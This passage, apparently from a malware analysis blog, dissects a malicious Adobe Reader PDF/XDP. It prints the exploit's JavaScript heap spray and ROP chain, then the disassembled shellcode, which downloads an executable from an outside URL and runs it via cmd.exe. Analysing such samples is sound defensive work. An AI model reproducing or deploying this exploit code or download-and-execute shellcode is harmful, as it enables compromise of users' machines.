              x1 = 0x1e1a757f;
              x2 = 0x11e5263c;
              x3 = 0x984caf6;

             acro = x1+x2+x3;
            }

            var chunky = "";
            var heap_addr = 0x10101000;

            if (verA < 11)
            {
                for (i=0; i < 7; i+=1)
               chunky += util.pack(0x41414141);
            }

            chunky += util.pack(heap_addr);
            while (chunky.length < spray.slide_size/2)
               chunky += util.pack(0x58585858);

            for (j=0; j < 10000; j++)
               spray.x[found-1]=spray.x[found]=null;

            for (i=0; i < spray.size; i+=1){
               ID = "" + i;
               spray.y[i] = chunky.substring(0,spray.slide_size/2-ID.length) + ID+ "";
            }

            var obj = heap_addr;
            var pointer_slide = "";

            pointer_slide += util.pack(acro+util.offset("rop1")); //add esp,60;ret

            for (i=0; i < 27; i+=1)
            {
               if ( i == 24 )
               pointer_slide += util.pack(acro+util.offset("rop1x")); //-> rop2
               else
               pointer_slide += util.pack(0x41414141);
            }

            obj += pointer_slide.length*2;
            // ROP
            pointer_slide += util.pack(acro+util.offset("rop0"));
            pointer_slide += util.pack(acro+util.offset("rop3x"));
            pointer_slide += util.pack(acro+util.offset("GMHWA"));
            pointer_slide += util.pack(acro+util.offset("rop4"));
            //@0x10
            pointer_slide += util.pack(acro+util.offset("rop2"));
            pointer_slide += util.pack(obj+0xDC);
            pointer_slide += util.pack(obj+0xCC);
            pointer_slide += util.pack(0x43434343);
            //@0x20
            pointer_slide += util.pack(0x43434343);
            pointer_slide += util.pack(0x43434343);
            pointer_slide += util.pack(acro+util.offset("rop3"));
            pointer_slide += util.pack(acro+util.offset("rop3"));
            //@0x30
            pointer_slide += util.pack(acro+util.offset("VPA"));
            pointer_slide += util.pack(acro+util.offset("rop4"));
            pointer_slide += util.pack(obj+0x50);
            pointer_slide += util.pack(obj+0x50);
            //0x40
            pointer_slide += util.pack(0x1000);
            pointer_slide += util.pack(0x40);
            pointer_slide += util.pack(obj+0x4C);
            pointer_slide += util.pack(0x00000000);
            //0x50
            pointer_slide += util.packhs("E999000000909090");
            pointer_slide += util.pack(acro);
            pointer_slide += util.pack(0xCCCCCCCC);
            //0x60
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            //0x70
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(acro);
            pointer_slide += util.pack(0x48484848);
            //0x80
            pointer_slide += util.pack(0x49494949);
            pointer_slide += util.pack(0x50505050);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            //0x90
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            //0xa0
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            //0xb0
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            //0xc0
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.packs("VirtualProtect"); //@0xCC
            pointer_slide += "\u0000";
            pointer_slide += "KERNEL32";
            pointer_slide += "\u0000";
            pointer_slide += shellcode;


            while (pointer_slide.length < 0x1000/2)
               pointer_slide += util.pack(0x41414141);
            pointer_slide = pointer_slide.substring(0,0x1000/2);
            while (pointer_slide.length < 0x100000/2)
               pointer_slide += pointer_slide;
            for (i=0; i < 100; i+=1)
               spray.pointers[i] = pointer_slide.substring(16, 0x100000/2-16-2)+ util.pack(i) + "";

if(verA > 9) xfa.host.messageBox("Page not found !", "Adobe Acrobat", 3, 1);


var   pdfDoc = event.target;
pdfDoc.closeDoc(true);

The first part contains the information needed to construct ROP for the various versions of Adobe Reader. In the last part we can see that the JavaScript code sprays the heap. So probably they rely on a huge image embedded in the XDP (which is actually the reason why the XDP is so big) to trigger the exploit.


              
            
               Qk3AAAAAAAAAAAAAAABAAAAALAEAAAEAAAABAAgAAQAAAAAAAAAAAAAAA...

The field name is aptly named "ImageCrash".

Let's go back to the shellcode part and let's analyze that. I'm talking about the part of code which starts with:

var shellcode = "\u9090\u9090\u9090\u9090\u9090\u9090...

We could of course copy that part of a text view, remove the \u, then convert to bytes and then apply a filter to reorder them, as in JavaScript the words are in big-endian. But we can do it even more elegantly and make our shellcode appears as an embedded file. So let's select the byte array from the hex editor:

Let's now press Ctrl+E and click on the "Filters" button.

What we want to do is to first remove the "\u" escape. So we add the filter misc/replace and specify "\u" as in and nothing as out (we leave ascii mode as default). Now we have stripped the data from the escape characters. Now we need to convert it from ascii hex to bytes. So we add the convert/from_hex filter. The last step, as already mentioned, is that we need to switch the byte order in the words. To do that, we'll use the lua/custom filter. I only modified slightly the default script:

function run(filter)
    local c = filter:container()
    local size = c:size()
    local offset = 0
    local bsize = 16384
    while size ~= 0 do
        if bsize > size then bsize = size end
        local block = c:read(offset, bsize)
        local boffs = 0
        while boffs < bsize do
            local e = block:readU8(boffs)
            local f = block:readU8(boffs + 1)
            block:writeU8(boffs, f)
            block:writeU8(boffs + 1, e)
            boffs = boffs + 2
        end
        c:write(offset, block)
        offset = offset + bsize
        size = size - bsize
    end
    return Base.FilterErr_None
end

If you want to avoid this part, you can simply import the filters I created:

By opening the embedded shellcode file, Profiler will have automatically detected the shellcode:

By looking at the hex-view we can already guess where the shellcode is going to download its payload to execute from:

Offset     0  1  2  3  4  5  6  7    8  9  A  B  C  D  E  F     Ascii   

00000000  90 90 90 90 90 90 90 90   90 90 90 90 90 90 90 90     ................
00000010  90 90 90 90 90 90 90 90   90 90 90 90 90 90 90 90     ................
00000020  EB 77 31 C9 64 8B 71 30   8B 76 0C 8B 76 1C 8B 5E     .w1.d.q0.v..v..^
00000030  08 8B 7E 20 8B 36 66 39   4F 18 75 F2 C3 60 8B 6C     ..~..6f9O.u..`.l
00000040  24 24 8B 45 3C 8B 54 05   78 01 EA 8B 4A 18 8B 5A     $$.E<.T.x...J..Z
00000050  20 01 EB E3 34 49 8B 34   8B 01 EE 31 FF 31 C0 FC     ....4I.4...1.1..
00000060  AC 84 C0 74 07 C1 CF 0D   01 C7 EB F4 3B 7C 24 28     ...t........;|$(
00000070  75 E1 8B 5A 24 01 EB 66   8B 0C 4B 8B 5A 1C 01 EB     u..Z$..f..K.Z...
00000080  8B 04 8B 01 E8 89 44 24   1C 61 C3 E8 92 FF FF FF     ......D$.a......
00000090  5F 81 EF 98 FF FF FF EB   05 E8 ED FF FF FF 68 8E     _.............h.
000000A0  4E 0E EC 53 E8 94 FF FF   FF 31 C9 66 B9 6F 6E 51     N..S.....1.f.onQ
000000B0  68 75 72 6C 6D 54 FF D0   68 36 1A 2F 70 50 E8 7A     hurlmT..h6./pP.z
000000C0  FF FF FF 31 C9 51 51 8D   37 81 C6 EE FF FF FF 8D     ...1.QQ.7.......
000000D0  56 0C 52 57 51 FF D0 68   98 FE 8A 0E 53 E8 5B FF     V.RWQ..h....S.[.
000000E0  FF FF 41 51 56 FF D0 68   7E D8 E2 73 53 E8 4B FF     ..AQV..h~..sS.K.
000000F0  FF FF FF D0 63 6D 64 2E   65 78 65 20 2F 63 20 20     ....cmd.exe./c..
00000100  61 2E 65 78 65 00 68 74   74 70 3A 2F 2F 67 65 2E     a.exe.http://ge.
00000110  74 74 2F 32 72 34 53 66   39 63 32 00 90 90 90 90     tt/2r4Sf9c2.....
00000120  90 90 90 90 90 90                                     ......          

But let's analyze it anyway. Let's press Ctrl+A and then Ctrl+R. Let's execute the action "Debug->Shellcode to executable" to debug the shellcode with a debugger like OllyDbg.

Here's the (very simple) analysis:

; Platform: x86

0000001C:  nop 
0000001D:  nop 
0000001E:  nop 
0000001F:  nop 
00000020:  jmp 0x99

; Kernel32 from PEB function
00000022:  xor ecx, ecx
00000024:  mov esi, dword ptr fs:[ecx + 0x30]
00000028:  mov esi, dword ptr [esi + 0xc]
0000002B:  mov esi, dword ptr [esi + 0x1c]
0000002E:  mov ebx, dword ptr [esi + 8]
00000031:  mov edi, dword ptr [esi + 0x20]
00000034:  mov esi, dword ptr [esi]
00000036:  cmp word ptr [edi + 0x18], cx
0000003A:  jne 0x2e
0000003C:  ret 

; GetProcAddress function
0000003D:  pushal 
0000003E:  mov ebp, dword ptr [esp + 0x24]
00000042:  mov eax, dword ptr [ebp + 0x3c]
00000045:  mov edx, dword ptr [ebp + eax + 0x78]
00000049:  add edx, ebp
0000004B:  mov ecx, dword ptr [edx + 0x18]
0000004E:  mov ebx, dword ptr [edx + 0x20]
00000051:  add ebx, ebp
00000053:  jecxz 0x89
00000055:  dec ecx
00000056:  mov esi, dword ptr [ebx + ecx*4]
00000059:  add esi, ebp
0000005B:  xor edi, edi
0000005D:  xor eax, eax
0000005F:  cld 
00000060:  lodsb al, byte ptr [esi]
00000061:  test al, al
00000063:  je 0x6c
00000065:  ror edi, 0xd
00000068:  add edi, eax
0000006A:  jmp 0x60
0000006C:  cmp edi, dword ptr [esp + 0x28]
00000070:  jne 0x53
00000072:  mov ebx, dword ptr [edx + 0x24]
00000075:  add ebx, ebp
00000077:  mov cx, word ptr [ebx + ecx*2]
0000007B:  mov ebx, dword ptr [edx + 0x1c]
0000007E:  add ebx, ebp
00000080:  mov eax, dword ptr [ebx + ecx*4]
00000083:  add eax, ebp
00000085:  mov dword ptr [esp + 0x1c], eax
00000089:  popal 
0000008A:  ret 

; find Kernel32 from PEB
0000008B:  call 0x22

; make edi point do the data part
00000090:  pop edi
00000091:  sub edi, 0xffffff98 
00000097:  jmp 0x9e

00000099:  call 0x8b

; resolve LoadLibraryA
0000009E:  push 0xec0e4e8e
000000A3:  push ebx
000000A4:  call 0x3d

; load urlmon
000000A9:  xor ecx, ecx
000000AB:  mov cx, 0x6e6f
000000AF:  push ecx
000000B0:  push 0x6d6c7275
000000B5:  push esp
000000B6:  call eax

; resolve URLDownloadToFileA
000000B8:  push 0x702f1a36
000000BD:  push eax
000000BE:  call 0x3d

; download file from "hxxp://ge.tt/2r4Sf9c2" and save it as "a.exe"
000000C3:  xor ecx, ecx
000000C5:  push ecx
000000C6:  push ecx
000000C7:  lea esi, dword ptr [edi]
000000C9:  add esi, 0xffffffee
000000CF:  lea edx, dword ptr [esi + 0xc]
000000D2:  push edx
000000D3:  push edi
000000D4:  push ecx
000000D5:  call eax

; resolve WinExec
000000D7:  push 0xe8afe98
000000DC:  push ebx
000000DD:  call 0x3d

; call WinExec on "a.exe"
000000E2:  inc ecx
000000E3:  push ecx
000000E4:  push esi
000000E5:  call eax

; resolve ExitProcess
000000E7:  push 0x73e2d87e
000000EC:  push ebx
000000ED:  call 0x3d

; call ExitProcess
000000F2:  call eax

You can also download the Profiler project with the complete analysis already performed (same password: infected29A). Please notice, you'll be prompted twice for the password: once for the project and once for the Zip archive.

I hope you enjoyed the read!